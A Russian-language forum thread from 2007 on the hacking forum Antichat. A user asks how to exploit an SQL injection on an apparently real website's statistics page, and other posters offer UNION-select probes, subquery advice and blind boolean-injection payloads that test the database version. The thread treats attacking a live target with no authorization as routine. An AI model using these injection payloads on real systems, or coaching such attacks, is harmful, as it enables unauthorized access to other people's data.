Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Вопрос специалистам в sql-injection (https://forum.antichat.xyz/showthread.php?t=56981)

JenJen 30.12.2007 23:10

Вопрос специалистам в sql-injection
 
Всем привет. Такой вопрос:
есть sql-injection. При запросе при добавлении к уязвимому параметру:

monthname=december' order by 8/*

выдаётся следующая ошибка:
Код:

Error:  Запрос: SELECT SUM(uhits) AS suhits, SUM(vhits) AS svhits, SUM(installs) AS sinstalls, SUM(total) AS stotal, SUM(referals) AS sreferals, SUM(portal) AS sportal, SUM(bonus_inst) AS sbonus_inst FROM stats WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' order by 8/*'  Ошибка: Unknown column '8' in 'order clause'
При вводе:
monthname=december' order by 7/* ошибки не выдается, естественно выводится нормальная страница, получается вроде как 7 полей. Однако при

monthname=december' union select 1,2,3,4,5,6,7/*

выводится ошибка вида:

Код:

Error:  Запрос: SELECT * FROM stats a WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' union select 1,2,3,4,5,6,7/*' ORDER by -date  Ошибка: The used SELECT statements have a different number of columns
Эта же ошибка выводится во всех запросах по типу

monthname=december' union select в кол-ве колонок от 1 до 60, дальше я не пробовал.

Я так понял тут следуют несколько один за одним запросов, как с этим работать?

Надеюсь на Ваши ответы )

Апд:модеры, я запостил здесь потому что ситуация не еденичная и вообще не очень широко освещена в статьях. Тема о том, что и как делать если идут подряд несколько запросов.

AFoST 30.12.2007 23:23

monthname=december' union select 111,222,333,444,555,666,777/*
На странице или в коде страницы есть такие значения при таком запросе?

JenJen 30.12.2007 23:37

Цитата:

Сообщение от AFoST
monthname=december' union select 111,222,333,444,555,666,777/*
На странице или в коде страницы есть такие значения при таком запросе?

Никаких, выводится исключительно текст ошибки и всё. Если б выводилось я б не задавал вопросов.

AFoST 30.12.2007 23:47

Пока больше никаких идей нет :(

Spyder 30.12.2007 23:50

Чё вы ему тут насоветовали? ппц
У тебя в скрипте 2 запроса с одной переменной, правильное кол-во столбцов тебе подобрать не получится, ибо один из запросо всегда будет не верный
В твоём случае только подзапросы юзать

JenJen 30.12.2007 23:52

Цитата:

Сообщение от Spyder
Чё вы ему тут насоветовали? ппц
У тебя в скрипте 2 запроса с одной переменной, правильное кол-во столбцов тебе подобрать не получится, ибо один из запросо всегда будет не верный
В твоём случае только подзапросы юзать

Да, спасибо я уже это понял.
Может расскажешь как их правильно юзать или дашь ссылку?

Nea7 31.12.2007 17:16

Цитата:

Сообщение от JenJen
Да, спасибо я уже это понял.
Может расскажешь как их правильно юзать или дашь ссылку?

http://forum.antichat.ru/showpost.php?p=537435&postcount=567
брошюрко -> статья ZaCo

Серенький 31.12.2007 23:48

учти, что в мускулах <4.2 подзапросы не поддерживаются.

blackybr 01.01.2008 02:24

не 4.2, а 4.1.. то есть подзапросы появились в 4.1..

monthname=december+and+ascii(substring(version(),1 ,1))>0/*
monthname=december+and+ascii(substring(version(),1 ,1))<0/*

проверь разные ли ответы

Серенький 01.01.2008 04:03

Да, спасибо за поправку,
с Наступившим.


Время: 09:40